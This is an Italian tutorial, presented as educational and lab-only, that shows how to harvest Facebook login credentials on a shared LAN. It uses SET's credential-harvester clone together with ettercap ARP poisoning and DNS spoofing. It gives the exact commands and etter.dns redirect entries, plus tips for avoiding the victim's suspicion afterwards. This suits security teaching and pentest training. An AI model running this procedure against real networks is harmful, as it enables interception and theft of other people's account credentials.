Il seguente articolo ha scopi puramente didattici ed è stato realizzato utilizzando esclusivamente host collegati alla rete locale dell'autore. A tal proposito si ricorda che l'accesso abusivo ad un sistema informatico o telematico e la detenzione e diffusione abusiva di codici di accesso a sistemi informatici o telematici sono puniti rispettivamente ai sensi degli artt. 615 ter e quater.
Introduzione a SET
Scopo del presente articolo è dimostrare come sia possibile, sotto certe condizioni, carpire le credenziali di accesso di un utente ad un qualsiasi sito web che richieda autenticazione, come ad esempio Facebook. La tecnica usata è una combinazione di Web e DNS Spoofing e prevede l'utilizzo congiunto di Social-Engineer Toolkit, comunemente noto come SET, ed ettercap.
SET è un framework scritto da David Kennedy (aka ReL1K) di Trusted Security, divenuto in breve tempo un "must-have" per ogni pentester. Il framework contiene infatti una serie di attacchi mirati a compromettere la sicurezza di un'organizzazione, ma anche di un singolo individuo, utilizzando appunto tecniche di social engineering che sfruttano, come è noto, le "human vulnerabilities".
SET, ormai giunto alla release 4, è già presente in Backtrack, ma è buona norma effettuare alcuni passaggi preliminari per avere la nostra macchina d'attacco aggiornata e funzionante. Nel nostro caso abbiamo utilizzato Backtrack 5 R3 e un host Windows 7 come vittima.
Azioni preliminari
Backtrack 5 R3 viene rilasciato con SET versione 3.3.1. Per aggiornarlo alla 4.0.1 ("Balls of Steel") possiamo utilizzare direttamente il menu iniziale (opzione 5 - "Update the Social-Engineer Toolkit") oppure tramite subversion, digitando il seguente comando al prompt:
root@bt# svn co http://svn.trustedsec.com/social_engineering_toolkit set/
Se si usa subversion, bisogna ricordarsi di andare a sostituire la directory (e relative sottodirectory) in cui è installato SET (/pentest/exploits/set
) con quella appena scaricata.
Bisogna verificare inoltre che sia installato ettercap: eventualmente occorrerà aggiornarlo. A tal proposito bisogna dire che SET può sfruttare direttamente ettercap
impostando, nel proprio file di configurazione set_config (che si trova in /pentest/exploits/set/config) l'opzione
ETTERCAP=ON
. Personalmente preferisco lasciare l'impostazione di default (ETTERCAP=OFF
) e lanciare ettercap direttamente dalla shell, in modo tale da poterlo gestire in modo indipendente rispetto a SET.
L'attacco
La buona riuscita dell'attacco prevede come unico prerequisito quello di trovarsi sullo stesso segmento di sottorete della/e vittima/, sia in caso di LAN cablata, sia Wireless. Come già accennato in Introduzione, la tecnica utilizzata consiste nel presentare alla vittima, al posto del sito web originale, un clone identico a quest'ultimo, in cui il malcapitato utente andrà ad immettere le proprie credenziali di accesso.
Come prima cosa, portiamoci nella directory di SET e lanciamolo:
root@bt# cd /pentest/exploits/set
root@bt:/pentest/exploits/set# ./set
Dopo aver accettato i “terms of service”, ci viene presentato il menu iniziale, come visibile in Fig. 1:
Scegliamo quindi dal menu l'opzione 1) "Social-Engineering Attacks". Nel menu successivo selezioniamo l'opzione 2) "Website Attack Vectors" e poi l'opzione 3) "Credential Harvester Attack Method". A questo punto abbiamo 3 possibilità: utilizzare un template già pronto del nostro sito-civeta oppure effettuare un cloning "al volo". La terza opzione invece ci consente di importare in SET un sito costruito da noi per l'occasione ("Custom Import"). Scegliamo quindi l'opzione 1) "Web Templates".
In questo modo stiamo importando in SET un template già pronto, che però potrebbe non essere aggiornato rispetto a quello pubblicato online. Vi starete chiedendo allora: "perché non utilizzare direttamente l'opzione 2 e clonare il sito on-the-fly?". Il motivo risiede nel fatto che, almeno nel caso di Facebook, il sito clonato non corrisponde esattamente a quello originale perché probabilmente viene effettuata la copia della sola parte deputata al login. A scanso di equivoci, quindi, ho provveduto a salvare una copia della pagina iniziale di Facebook nella directory contenente i vari templates, il cui path assoluto è il seguente:
/pentest/exploits/set/src/html/templates
ATTENZIONE: la pagina web va salvata utilizzando l'estensione ".template" e non ".html" (o ".htm"). Nel nostro caso avremo quindi facebook.template, che sostituiremo al template originale, precedentemente rinominato in facebook.oldtemplate o altro.
Proseguendo, SET ci chiede di inserire l'indirizzo IP del web server su cui girerà la versione "fake" del sito web e a cui verranno effettvamente inviate le credenziali di accesso. Poichè il web server sarà ospitato proprio sulla macchina attaccante, inseriamo l'IP dell'attacker, che nel nostro caso è 192.168.153.132. A questo punto dovremmo proseguire selezionando dal menu successivo l'opzione 4 ("Facebook"), come mostrato in Fig. 2. Sospendiamo invece per un attimo la procedura e apriamo un'altra shell.
È giunto infatti il momento di utilizzare ettercap per ridirezionare tutto il traffico destinato a Facebook verso la nostra macchina attaccante. Come prima cosa, andiamo nella directory di ettercap che, generalmente è /usr/local/share/ettercap oppure /usr/share/ettercap ed editiamo il file di configurazione del DNS etter.dns, utilizzando il nostro editor testuale "di fiducia", come ad esempio nano. Digitiamo:
root@bt# cd /usr/local/share/ettercap
e poi subito dopo:
root@bt:/usr/local/share/ettercap# nano etter.dns
Piccola osservazione: se etter.dns non dovesse esserci oppure fosse è composto da una sola riga (potrebbe essere stato creato proprio da SET precedentemente), possiamo recuperarne un template copiandolo da un'altra directory, in questo modo:
root@bt# cp /usr/local/share/videojak/etter.dns /usr/local/share/ettercap
Adesso editiamo etter.dns aggiungendo nella prima sezione subito sotto allo screen iniziale, le seguenti righe, come mostrato in Fig. 3:
facebook.com A 192.168.153.132
*.facebook.com A 192.168.153.132
Esse servono proprio a ridirezionare tutto il traffico destinato a Facebook, ma anche ad ogni altro sottodominio o server (come ad es. www) di facebook.com, verso la nostra macchina attacker che, come già sappiamo, ha indirizzo IP 192.168.153.132. Una volta effettuata la modifica, usciamo dall'editor (CTRL+X) e salviamo rispondendo "Y" alla richiesta di salvataggio.
Ora siamo dunque pronti a lanciare ettercap, usando il seguente comando:
root@bt:/usr/local/share/ettercap# ettercap -T -q -i eth0 -P dns_spoof -M arp // //
le opzioni -T -q indicano rispettivamente che ettercap parte in modalità testuale e in "quiet mode", ovvero non manda a video il contenuto dei pacchetti;
l'opzione -M arp // // implementa l'attacco Man-in-the-Middle utilizzando il metodo dell'ARP poisoning contro TUTTI gli host della LAN;
l'opzione -i eth0 identifica l'interfaccia di rete da utilizzare, in questo caso la eth0; mentre l'opzione -P dns_spoof dice ad ettercap di utilizzare il plugin dns_spoof.
Una volta lanciato il comando, ettercap inizierà quindi la sua azione di DNS spoofing, come mostrato in Fig. 4:
Torniamo ora all'esecuzione di SET e selezioniamo l'opzione 4 dal menu, dopodichè
Passiamo ora all'host vittima: tutto quello che dobbiamo fare è aprire il nostro browser (io ho usato Firefox) e digitare l'URL di Facebook. A questo punto all'utente si presenterà la pagina iniziale di Facebook, ma attenzione: in realtà è il nostro web server in ascolto (quello lanciato da SET) che ha risposto alla richiesta dell'utente, presentando una pagina web identica all'originale. Notiamo inoltre che l'URL non viene in alcun modo modificato e non indica, ad esempio, l'indirizzo IP della macchina attacker, come visibile in Fig. 6:
A questo punto l'attacco giunge al suo culmine: l'utente, convinto di essere sulla pagina "legittima" di Facebook, inserirà tranquillamente le proprie credenziali di accesso, che vengono però catturate da SET (e anche da ettercap), come mostrato nelle Figg. 7, 8 e 9:
Figura 7. L'utente inserisce le proprie credenziali nel sito-clone di Facebook
(clic per ingrandire)
Figura 9. L'esecuzione del dns spoofing da parte di ettercap, con le credenziali catturate
(clic per ingrandire)
All'utente ritornerà quindi una pagina di errore e penserà di aver sbagliato a digitare le credenziali, per cui non si insospettirà. Adesso però bisogna bloccare il DNS poisoning fermando ettercap (basta digitare "q" nella shell di esecuzione), come mostrato in Fig. 10:
In questo modo i DNS server legittimi torneranno ad rispondere come solito alle query DNS, per cui alle richieste successive reindirizzeranno l'utente verso il "vero" Facebook, consentendone l'accesso, come si vede in Fig. 11, e non destando quindi alcun sospetto: game over.